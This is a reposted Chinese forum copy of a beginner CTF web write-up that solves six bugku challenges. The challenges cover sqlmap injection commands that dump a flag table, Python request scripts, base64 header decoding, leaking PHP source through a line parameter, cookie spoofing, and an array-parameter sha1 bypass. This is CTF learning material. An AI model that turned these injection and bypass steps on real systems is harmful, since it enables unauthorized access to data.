搜索

[20976] 2020-04-23_【CTFweb入门第六篇】web入门

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2020-04-23_【CTFweb入门第六篇】web入门 【 C T F   w e b 入 门 第 六 篇 】 w e b 入 门 L e m o n S e c   2 0 2 0 - 0 4 - 2 3 b u g k u - c t f   第 一 题 ： 成 绩 单 h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 8 0 0 2 / c h e n g j i d a n / 猜 测 应 该 是 考 s q l 注 入 先 用 B u r p s u i t e 抓 一 下 数 据 包 吧 数 据 包 新 建 成 1 . t x t 。 放 到 s q l m a p 下 使 用 s q l m a p 跑 注 入 吧 。 然 后 就 是 需 要 了 解 下 s q l m a p 的 使 用 方 式 。 s q l m a p . p y   - r   1 . t x t   - p   i d   – c u r r e n t - d b - r   – >   加 载 一 个 文 件   - p   – > 指 定 参 数   – c u r r e n t - d b   – > 获 取 当 前 数 据 库 名 称 （ c u r r e n t 前 有 两 个 - ） 可 以 看 到 它 的 数 据 库 为   ‘ s k c t f _ f l a g ’ , 接 着 就 是 爆 表  
s q l m a p . p y   - r   1 . t x t   - p   i d   - D   s k c t f _ f l a g   - - t a b l e s   - D   – > 指 定 数 据 库 名 称   – t a b l e s   – > 列 出 数 据 库 中 的 表 ( t a b l e s 前 有 两 个 - )   可 以 看 到 当 前 数 据 库 中 有 两 个 表 ， 很 明 显 ， f l a g 应 该 在 f l 4 g 表 中 ， 下 面 就 是 该 爆 出 表 中 的 字 段 了   s q l m a p . p y   - r   1 . t x t   - p   i d   - D   s k c t f _ f l a g   - T   f l 4 g - - c o l u m n s   - T   – > 指 定 表 名 称   – c o l u m n s   – > 列 出 表 中 的 字 段   f l 4 g 表 中 有 一 个 名 为 s k c t f _ f l a g 字 段 ， 最 后 列 出 字 段 信 息 就 可 以 啦 。   s q l m a p . p y   - r   1 . t x t   - p   i d   - D   s k c t f _ f l a g   - T   f l 4 g   - C   s k c t f _ f l a g   - - d u m p   – d u m p   – > 列 出 字 段 数 据 ( d u m p 前 有 两 个 - )   得 到 B U G K U { S q l _ I N J E C T 0 N _ 4 8 1 3 d r d 8 h z 4 }   这 个 题 的 知 识 点 s q l 注 入   b u g k u - c t f   第 二 题 ： 秋 名 山 老 司 机
打 开 连 接 打 开 链 接 ， 让 我 们 在 2 秒 之 内 计 算 出 一 个 很 复 杂 的 式 子 的 值 传 进 去   直 接 上 图 一 脚 本 ： i m p o r t   r e i m p o r t   r e q u e s t s   s   =   r e q u e s t s . S e s s i o n ( ) r   =   s . g e t ( " h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 8 0 0 2 / q i u m i n g s h a n / " ) s e a r c h O b j   =   r e . s e a r c h ( r ' ^ < d i v > ( . * ) = ? ; < / d i v > $ ' ,   r . t e x t , r e . M   |   r e . S ) d   =   {         " v a l u e " : e v a l ( s e a r c h O b j . g r o u p ( 1 ) ) } r   =   s . p o s t ( " h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 8 0 0 2 / q i u m i n g s h a n / " ,   d a t a = d ) p r i n t ( r . t e x t )   i m p o r t   r e                   #   i m p o r t   是 导 入 模 块   相 当 于 就 是 导 入 函 数 库   导 入 模 块 过 后 就 可 以 用 相 应 的 模 块 里 的 函 数     这 里 的 r e 模 块 是 正 则 表 达 式   用 于 匹 配 字 符 串 当 中 的 一 定 字 符 但 是 说 匹 配 这 里 却 用 来 提 取 字 符   i m p o r t   r e q u e s t s         # 导 入 r e q u e s t s 模 块 请 求 模 块   这 个 模 块 还 有 很 多 需 要 我 学 习   s   =   r e q u e s t s . S e s s i o n ( )     #   用 s 存 s e s s i o n   s e s s i o n 和 c o o k i e   都 用 于 身 份 识 别   s e s s i o n 本 义 为 对 话   这 里 我 自 己 暂 时 理 解 为   把 这 次 对 话 保 存 起 来 并 取 名 s   相 当 于 记 录 身 份   r   = s . g e t ( " h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 8 0 0 2 / q i u m i n g s h a n / " )         # 用 此 身 份 请 求 并 u r l   s e a r c h O b j   = r e . s e a r c h ( r ' ^ < d i v > ( . * ) = ? ; < / d i v > $ ' ,   r . t e x t ,   r e . M   |   r e . S )       # s e a r c h   是 扫 描 整 个 字 符 串 并 返 回 成 功 的 匹 配 值   如 果 没 有 匹 配 则 返 回 n o n e   正 则 r e . s e a r c h ( 要 匹 配 的 字 符 ， 被 扫 描 的 字 符 ， 功 能 选 择 ) ，   这 里 用 这 个 函 数 实 则 是 在 提 取 字 符 ， 首 先 看 要 匹 配 的 字 符 是 这 样 的     r ' ^ < d i v > ( . * ) = ? ; < / d i v > $ ' ， 这 里 的 r 我 实 在 没 有 查 到 是 什 么 意 思 我 看 了 好 几 个 有 些 没 有 这 个 r ， ^ 代 表 开 始 ， $ 代 表 结 束 ， 这 里 则 表 是 从 < d i v > 开 始 到 < / d i v > 结 束 ， 而 中 间 的 ( . * ) 这 里 的 . 代 表 任 意 一 个 字 符 加 一 个 * 构 成 . * 就 多 次 的 任 意 字 符 然 后 ? 是 ？ 有 特 殊 含 义 需 要 匹 配 ？ 要 在 前 面 加 一 个 ， 这 里 的 = ？ 是 源 代 码 中 本 来 就 有 的 ， 这 里 打 括 号 是 进 行 分 组 ， 第 一 个 （ ） 就 是 第 一 组 第 二 个 （ ） 就 是 第 二 组 （ 这 是 我 自 己 的 理 解 ）   ， r ' ^ < d i v > ( . * ) = ? ; < / d i v > $ ' 表 示 < d i v > < / d i v > 中 的 所 有 字 符 ， 然 后 再 与 r . t e x t 相 匹 配 ， 相 当 于 提 取 ， 后 面 我 会 带 上 图 上 面 有 一 些 字 符 的 含 义 与 某 两 个 网 站 ， 还 有 分 组 。  
d   =   {       " v a l u e " :   e v a l ( s e a r c h O b j . g r o u p ( 1 ) )     # e v a l 函 数 是 计 算 值 } r   = s . p o s t ( " h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 8 0 0 2 / q i u m i n g s h a n / " ,   d a t a = d )         # p o s t 传 值 p r i n t ( r . t e x t )     # 输 出 结 果   得 出 f l a g b u g k u - c t f   第 三 题 ： 速 度 要 快 看 着 毫 无 思 路 查 看 下 源 代 码 吧 在 源 代 码 里 有 一 个 提 示 ， 说 传 递 m a r g i n 参 数 ， 但 是 又 不 知 道 传 什 么 ， 在 响 应 头 里 有 个 f l a g ，  
应 该 是 b a s e 6 4 加 密 的 ， 然 后 解 密 后 发 现 好 像 还 可 以 再 解 密 一 次 ， 让 后 再 此 解 密 ， 所 以 就 把 b a s e 6 4 解 密 的 数 值 传 过 去 试 试 。 但 是 好 像 它 一 直 在 变 ， 让 后 就 要 写 脚 本 自 动 传 递 ， 我 也 不 知 道 为 啥 。 写 脚 本 和 一 直 变 又 什 么 联 系 吗 ， 但 还 是 写 了 一 个 ， 试 了 试 。 #   c o d i n g : u t f - 8 i m p o r t   r e q u e s t s i m p o r t   b a s e 6 4 u r l = " h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 8 0 0 2 / w e b 6 / " s = r e q u e s t s . S e s s i o n ( ) h e a d = s . g e t ( u r l ) . h e a d e r s f l a g = b a s e 6 4 . b 6 4 d e c o d e ( h e a d [ " f l a g " ] ) f l a g = f l a g . d e c o d e ( ) k e y = b a s e 6 4 . b 6 4 d e c o d e ( f l a g . s p l i t ( " : " ) [ 1 ] ) p a y l o a d = { " m a r g i n " : k e y } p r i n t ( s . p o s t ( u r l , d a t a = p a y l o a d ) . t e x t )   知 识 点 知 识 点 r e q u e s t s 获 取 页 面 信 息 、 头 信 息 以 及 提 交 P o s t 抓 包 B a s e 6 4 编 码 特 点   b u g k u - c t f   第 四 题 ： c o o k i e s 欺 骗
打 开 链 接 是 一 串 没 有 意 义 的 字 符 串 ， 查 看 源 码 没 有 发 现 什 么 观 察 u r l   ， 发 现 a 2 V 5 c y 5 0 e H Q =   是 一 个 b a s e 6 4 编 码 ， 解 码 后 是 k e y s . t x t 尝 试 用   f i l e n a m e 访 问 i n d e x . p h p （ 原 u r l 使 用 b a s e 6 4 ， 这 也 将 i n d e x . p h p 进 行 编 码 ） ， l i n e 参 数 应 该 是 行 数 ， 试 一 下   l i n e = 2 出 现 一 行 代 码 ， 试 一 下 l i n e = 3 显 示 了 不 同 的 代 码 一 个 个 试 太 麻 烦 ， 上 脚 本 将 i n d e x . p h p 的 源 码 读 取 出 来   i m p o r t   r e q u e s t s a = 3 0 f o r   i   i n   r a n g e ( a ) :       u r l = " h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 8 0 0 2 / w e b 1 1 / i n d e x . p h p ? l i n e = " + s t r ( i ) + " & f i l e n a m e = a W 5 k Z X g u c G h w "       s = r e q u e s t s . g e t ( u r l )       p r i n t   s . t e x t     最 后 读 取 出 来 的 源 码
分 析 源 码 ， 前 面 判 断 传 参 ， 后 面 判 断 c o o k i e 必 须 满 足 m a r g i n = m a r g i n 才 能 访 问 k e y s . p h p ， 别 忘 了 编 码 k e y s . p h p 编 码 是 a 2 V 5 c y 5 w a H A = 得 到   K E Y { k e y _ k e y s }   b u g k u - c t f   第 五 题 ： n e v e r   g i v e   u p
打 开 链 接 显 示 一 串 字 符 ， 右 键 查 看 源 码 ， 发 现 1 p . h t m l 访 问   1 p . h t m l   ， 发 现 页 面 自 动 跳 转 到     h t t p : / / w w w . b u g k u . c o m / 应 该 是 有   w i n d o w . l o c a t i o n . h r e f   之 类 的 重 定 向 ， 那 就 直 接 查 看 1 p . h t m l 的 源 码 ， 在 链 接 前 面 加 v i e w - s o u r c e : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 8 0 0 6 / t e s t / 1 p . h t m l   有 发 现 ！ 根 据 % 3 C 来 看 W o r d s 变 量 应 该 是 u r l 编 码 解 码 后 发 现   注 释 部 分 还 进 行 了 b a s e 6 4 编 码 继 续 b a s e 6 4 解 码 后 v i e w - s o u r c e : h t t p :
终 于 出 来 了 ， 来 分 析 代 码 s t r i p o s ( 字 符 串 a ， 字 符 串 b )   函 数 查 找 字 符 串 b 在 字 符 串 a 中 第 一 次 出 现 的 位 置 （ 不 区 分 大 小 写 ） 。 f i l e _ g e t _ c o n t e n t s   将 整 个 文 件 读 入 一 个 字 符 串 s t r l e n ( )   函 数 返 回 字 符 串 的 长 度 s u b s t r ( )   函 数 返 回 字 符 串 的 一 部 分 。 s u b s t r ( s t r i n g , s t a r t , l e n g t h )   ， l e n g t h 参 数 可 选 。 如     s u b s t r ( $ b , 0 , 1 )     就 是 在 参 数 b 里 面   ， 从 0 开 始 返 回 1 个 长 度 的 字 符 串   e r e g i ( " 1 1 1 " . s u b s t r ( $ b , 0 , 1 ) , " 1 1 1 4 " )         就 是 判 断 " 1 1 1 4 " 这 个 字 符 串 里 面 是 否 有 符 合 " 1 1 1 " . s u b s t r ( $ b , 0 , 1 ) 这 个 规 则 的   总 的 来 说 ， 如 果 a 参 数 传 入 文 件 内 有 " b u g k u   i s   a   n i c e   p l a t e f o r m ! " 字 符 串 ， 并 且 i d 参 数 为 0   ，   b 参 数 长 度 大 于 5 ， " 1 1 1 4 " 这 个 字 符 串 里 面 是 否 有 符 合 " 1 1 1 " . s u b s t r ( $ b , 0 , 1 ) 这 个 规 则 的 ， s u b s t r ( $ b , 0 , 1 ) 不 能 等 于 4       以 上 这 些 条 件 都 满 足 ， 就 请 求 f 4 l 2 a 3 g . t x t   ： ） 这 么 麻 烦 ， 那 就 先 试 试 能 不 能 直 接 访 问   f 4 l 2 a 3 g . t x t   吧   可 以 访 问 ， f l a g 我 看 到 你 了 ！ 得 到 f l a g { t H i s _ i S _ T H e _ f L a G } 以 上 五 题 主 要 涉 及 到 的 技 术 点 ： 以 上 五 题 主 要 涉 及 到 的 技 术 点 ： S Q L 注 入 以 及 注 入 以 及 s q l m a p 工 具 使 用 、 工 具 使 用 、 p y t h o n 脚 本 的 编 写 、 脚 本 的 编 写 、 b u r p s u i t e 抓 包 改 包 的 使 用 、 代 码 抓 包 改 包 的 使 用 、 代 码 分 析 、 分 析 、 u r l 编 码 与 解 码 、 编 码 与 解 码 、 b a s e 6 4 的 编 码 与 解 码 。 的 编 码 与 解 码 。 b u g k u - c t f   第 六 题 ： 各 种 绕 过
打 开 看 看 阅 读 代 码   发 现 只 要 使 u n a m e 的 s h a 1 的 值 与 p a s s w d 的 s h a 1 的 值 相 等 即 可 ， 但 是 同 时 他 们 两 个 的 值 又 不 能 相 等 构 造     h t t p : / / 1 2 3 . 2 0 6 . 8 7 . 2 4 0 : 8 0 0 2 / w e b 7 / ? u n a m e [ ] = 1 & i d = m a r g i n     并 发 送     p a s s w d [ ] = 2   的 p o s t d a t a   请 求 即 可 依 旧 利 用 简 单   有 特 别   好 安 装 的     火 狐   插 件   h a c k b a r   得 到
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理